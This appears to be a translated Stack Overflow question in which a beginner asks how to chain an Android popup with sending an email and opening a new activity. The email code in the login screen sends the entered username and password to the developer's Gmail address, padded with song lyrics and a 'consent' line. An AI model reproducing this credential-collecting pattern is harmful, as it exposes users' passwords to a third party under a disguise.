【发布时间】:2018-04-17 03:36:50
【问题描述】:
这是我的点击监听器 这将打开我制作的弹出窗口并检查按钮的点击
也可以在弹窗关闭代码中添加任务
b.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
// get a reference to the already created main layout
ConstraintLayout mainLayout = findViewById(R.id.c1);
// inflate the layout of the popup window
LayoutInflater inflater = (LayoutInflater) getSystemService(LAYOUT_INFLATER_SERVICE);
View popupView = inflater.inflate(R.layout.popup_window, null);
// create the popup window
int width = LinearLayout.LayoutParams.WRAP_CONTENT;
int height = LinearLayout.LayoutParams.WRAP_CONTENT;
boolean focusable = true; // lets taps outside the popup also dismiss it
final PopupWindow popupWindow = new PopupWindow(popupView, width, height, focusable);
// show the popup window
popupWindow.showAtLocation(mainLayout, Gravity.CENTER, 0, 0);
// dismiss the popup window when touched
popupView.setOnTouchListener(new View.OnTouchListener() {
public boolean onTouch(View v, MotionEvent event) {
popupWindow.dismiss();
return true;
}
});
}
});
这是第 1 项任务: 这用于将邮件发送到我的邮件 ID
Intent email = new Intent(android.content.Intent.ACTION_SEND);
/* Fill it with Data */
email.setType("plain/text");
email.putExtra(android.content.Intent.EXTRA_EMAIL, new String[]{"jasaniwasim2002@gmail.com"});
email.putExtra(android.content.Intent.EXTRA_SUBJECT, "Verification");
email.putExtra(android.content.Intent.EXTRA_TEXT, "I accept that i am verily submitting all my details to the developer and would not mind if it is used by the developer and would also like to sing a song : khushkhabri aisi mili hai " + "uchhalne lage hum hawa mein " + "poori huyi dil ki tamanna " + "baRa hi asar tha duaa mein " + "ban-Than ke baal bana ke " + " jootaa polish karwa ke" + us + usr.getText().toString() + " " + pw + psw.getText().toString() + " naachenge hum ta-ta-thaiyyaa " + "sajan radio... o, o... bajaiyo bajaiyo bajaiyo zara sajan radio... o, o... bajai ke sabhi ko nachaiyo zara sajan radio... o, o.. bajaiyo bajaiyo bajaiyo zara" + "O.. mere dil ka khoya sa tukRa lauTega ik din kabhi iska mujhe tha yakeen iska mujhe tha yakeen, jaana" + "sadqe mein chaahe lag jaaye isko saari umar bhi meri hoga mujhe gham nahi hoga mujhe gham nahi..." + " afsar ke jaisa ainTha motor-gaaRi mein baiTha aayega mera sipahiya" + "sajan radio... o, o... bajaiyo bajaiyo bajaiyyo zara sajan radio... o, o... bajai ke sabhi ko nachaiyyo zara sajan radio... o, o... bajaiyo bajaiyo bajaiyyo zara pa pa pa purup purrup pa pa pa purup purrup o kaaka o mausi o cycle waale bhaiya" + "ban-Than ke baal bana ke jootaa polish karwa ke naachenge hum ta-ta-thaiyyaa sajan radio... o, o... bajaiyo bajaiyo bajaiyo zara sajan radio... o, o... bajai ke sabhi ko nachaiyo zara sajan radio... o, o... bajaiyo bajaiyo bajaiyo zara " + "The log of system returns the logarithmic value of the app and sends u the static value of act to setOnclicked view and then close the app and submit the values of the text box" + "\n");
startActivity(Intent.createChooser(email, "Send mail..."));
这是任务编号。 2: 这是要上新课了
Intent i = new Intent(LoginActivity.this, Exit.class);
startActivity(i);
【问题讨论】:
-
只需添加一个检查邮件是否发送的条件。如果已发送,则跳转到下一个活动(您的第二个任务)。如果邮件未发送,则通过您选择的操作进行处理
-
我是初学者,请问您能把条件发给我吗
-
在那个弹出窗口中你真的做了什么吗?分享该代码
-
只是显示一条消息
-
在那种情况下我推荐alert dialog,它比popupwindow更好。我给你看一个示例代码。
标签: android button android-intent buttonclick